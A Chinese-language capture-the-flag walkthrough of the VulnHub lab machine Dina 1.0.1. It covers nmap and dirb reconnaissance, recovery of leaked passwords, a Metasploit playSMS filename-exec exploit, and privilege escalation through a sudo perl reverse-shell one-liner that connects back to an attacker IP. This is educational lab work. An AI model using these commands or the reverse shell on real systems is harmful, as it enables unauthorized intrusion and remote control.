【B2R】DINA1.0.1

【B2R】DINA:1.0.1

靶场地址:https://www.vulnhub.com/entry/dina-101,200/

在这里插入图片描述

靶场信息

靶场描述


Description
Back to the Top

Welcome to Dina 1.0.1

________                                                _________
\________\--------___       ___         ____----------/_________/
    \_______\----\\\\\\   //_ _ \\    //-------/________/
        \______\----\\|| (( ~|~ )))  ||//------/________/
            \_____\---\\ ((\ = / ))) //----/_____/
                 \____\--\_)))  \ _)))---/____/
                       \__/  (((     (((_/
                          |  -)))  -  ))

This is my first Boot2Root - CTF VM. I hope you enjoy it.

if you run into any issue you can find me on Twitter: @touhidshaikh22

Contact: touhidshaikh22 at gmaill.com <- Feel Free to write mail

Website: http://www.touhidshaikh.com

Goal: /root/flag.txt

Level: Beginner (IF YOU STUCK ANYwhere PM me for HINT, But I don't think need any help).

Download: https://drive.google.com/file/d/0B1qWCgvhnTXgNUF6Rlp0c3Rlb0k/view

Try harder!: If you are confused or frustrated don't forget that enumeration is the key!

Feedback: This is my first boot2root - CTF Virtual Machine, please give me feedback on how to improve!

Tested: This VM was tested with:

Virtual Box 5.X

Networking: DHCP service: Enabled

**IP address**: Automatically assign

Fixing:

Some challenge issue reported by @eliot

Looking forward to the write-ups!
Doesn't work with VMware. Virtualbox only. v1 - 10/07/2017 v1.0.1 - 17/10/2017

靶机界面

在这里插入图片描述

0x02 信息收集

主机发现

sudo nmap -sP 192.168.94.0/24 -oN nmap.DINA

在这里插入图片描述

端口扫描

sudo nmap -A -p- 192.168.94.136 -oN nmap.DINA

在这里插入图片描述

PortServiceVersion
80httpdApache httpd 2.2.22 (Ubuntu)

0x03 网站信息

网站首页

http://192.168.94.136

在这里插入图片描述

敏感目录扫描

dirb http://192.168.94.136

在这里插入图片描述

+ http://192.168.94.136/cgi-bin/ (CODE:403|SIZE:290)                                                        
+ http://192.168.94.136/index (CODE:200|SIZE:3618)                                                          
+ http://192.168.94.136/index.html (CODE:200|SIZE:3618)                                                     
+ http://192.168.94.136/robots (CODE:200|SIZE:102)                                                          
+ http://192.168.94.136/robots.txt (CODE:200|SIZE:102)                                                      
==> DIRECTORY: http://192.168.94.136/secure/                                                                
+ http://192.168.94.136/server-status (CODE:403|SIZE:295)                                                   
==> DIRECTORY: http://192.168.94.136/tmp/                                                                   
==> DIRECTORY: http://192.168.94.136/uploads/ 

robots.txt文件

在这里插入图片描述

User-agent: *
Disallow: /ange1
Disallow: /angel1
Disallow: /nothing
Disallow: /tmp
Disallow: /uploads

nothing文件

​ 查看页面源代码

在这里插入图片描述

发现密码

#my secret pass
freedom
password
helloworld!
diana
iloveroot

备份文件分析

在这里插入图片描述

  • 解压,得到一个backup-cred.mp3文件,打开提示需要密码

在这里插入图片描述

  • 使用得到的密码进行尝试

    freedom
    成功解锁,无法使用播放器打开
    

    在这里插入图片描述

  • 查看mp3文件的类型

    发现是纯文本文件

    在这里插入图片描述

  • 文件内容

    在这里插入图片描述

    发现敏感信息

    I am not toooo smart in computer .......dat the resoan i always choose easy password...with creds backup file....
    
    uname: touhid
    password: ******
    
    
    url : /SecreTSMSgatwayLogin 
    
  • 发现登录框

http://192.168.94.136/SecreTSMSgatwayLogin

在这里插入图片描述

  • 用拿到的密码尝试登录

    touhid:diana
    

    在这里插入图片描述

0x04 渗透测试

msf

  • 搜索模块
search playsms

在这里插入图片描述

  • 渗透攻击
msf6 > use exploit/multi/http/playsms_filename_exec

msf6 exploit(multi/http/playsms_filename_exec) > set RHOSTS 192.168.94.136

msf6 exploit(multi/http/playsms_filename_exec) > set LHOST 192.168.94.131

msf6 exploit(multi/http/playsms_filename_exec) > set TARGETURI /SecreTSMSgatwayLogin/

msf6 exploit(multi/http/playsms_filename_exec) > set USERNAME touhid

msf6 exploit(multi/http/playsms_filename_exec) > set PASSWORD diana

msf6 exploit(multi/http/playsms_filename_exec) > exploit

在这里插入图片描述

0x05 权限提升

sudo -l

在这里插入图片描述

perl语言反弹shell脚本

sudo perl -e 'use Socket;$i="192.168.94.131";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在这里插入图片描述

反弹成功

在这里插入图片描述

0x06 flag文件

cat /root/flag.txt

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值